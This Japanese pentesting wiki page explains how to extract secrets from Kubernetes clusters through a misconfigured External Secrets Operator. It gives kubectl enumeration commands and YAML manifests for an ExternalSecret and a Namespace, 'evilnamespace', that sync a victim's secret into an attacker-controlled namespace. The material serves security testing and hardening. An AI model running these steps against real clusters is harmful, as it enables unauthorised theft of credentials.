# External Secret Operator **このページの元の著者は** [**Fares**](https://www.linkedin.com/in/fares-siala/) このページでは、誤って構成されたESOまたはESOを使用して秘密を同期するアプリケーションから秘密を盗む方法についてのいくつかのポイントを示します。 ## Disclaimer 以下に示す技術は、特定の条件が満たされる場合にのみ機能します。たとえば、あなたが所有または侵害した名前空間で秘密を同期するために必要な要件に依存します。自分で見つける必要があります。 ## Prerequisites 1. 名前空間での管理者権限を持つkubernetes / openshiftクラスターへの足場 2. クラスターレベルでの少なくともExternalSecretへの読み取りアクセス 3. ESOがあなたの秘密を同期するために必要なラベル/アノテーションまたはグループメンバーシップがあるかどうかを確認します。運が良ければ、定義された秘密を自由に盗むことができます。 ### Gathering information about existing ClusterSecretStore 十分な権限を持つユーザーがこのリソースを読み取ることができると仮定して、まず既存の_**ClusterSecretStores**_をリストアップします。 ```sh kubectl get ClusterSecretStore ``` ### ExternalSecretの列挙 _**mystore**_という名前のClusterSecretStoreを見つけたと仮定します。その関連するexternalsecretを列挙します。 ```sh kubectl get externalsecret -A | grep mystore ``` _このリソースは名前空間スコープであるため、どの名前空間を探すべきかすでに知っていない限り、-Aオプションを追加してすべての名前空間を横断して探してください。_ 定義されたexternalsecretのリストが得られるはずです。_**mysecret**_というexternalsecretオブジェクトが_**mynamespace**_という名前空間で定義されていると仮定しましょう。それが保持している秘密の種類についてもう少し情報を集めてください。 ```sh kubectl get externalsecret myexternalsecret -n mynamespace -o yaml ``` ### 部品の組み立て ここから、1つまたは複数のシークレット名(Secretリソースで定義されているように)を取得できます。出力は次のようになります: ```yaml kind: ExternalSecret metadata: annotations: ... labels: ... spec: data: - remoteRef: conversionStrategy: Default decodingStrategy: None key: SECRET_KEY secretKey: SOME_PASSWORD ... ``` これまでに得たものは次のとおりです: - ClusterSecretStoreの名前 - ExternalSecretの名前 - 秘密の名前 必要なものがすべて揃ったので、ExternalSecretを作成できます(そして最終的には、新しい秘密を同期させるために必要な前提条件を満たすために新しいNamespaceをパッチまたは作成することができます): ```yaml kind: ExternalSecret metadata: name: myexternalsecret namespace: evilnamespace spec: data: - remoteRef: conversionStrategy: Default decodingStrategy: None key: SECRET_KEY secretKey: SOME_PASSWORD refreshInterval: 30s secretStoreRef: kind: ClusterSecretStore name: mystore target: creationPolicy: Owner deletionPolicy: Retain name: leaked_secret ``` ```yaml kind: Namespace metadata: annotations: required_annotation: value other_required_annotation: other_value labels: required_label: somevalue other_required_label: someothervalue name: evilnamespace ``` 数分後、同期条件が満たされていれば、あなたのネームスペース内で漏洩したシークレットを表示できるはずです。 ```sh kubectl get secret leaked_secret -o yaml ``` ## 参考文献 {{#ref}} https://external-secrets.io/latest/ {{#endref}} {{#ref}} https://github.com/external-secrets/external-secrets {{#endref}}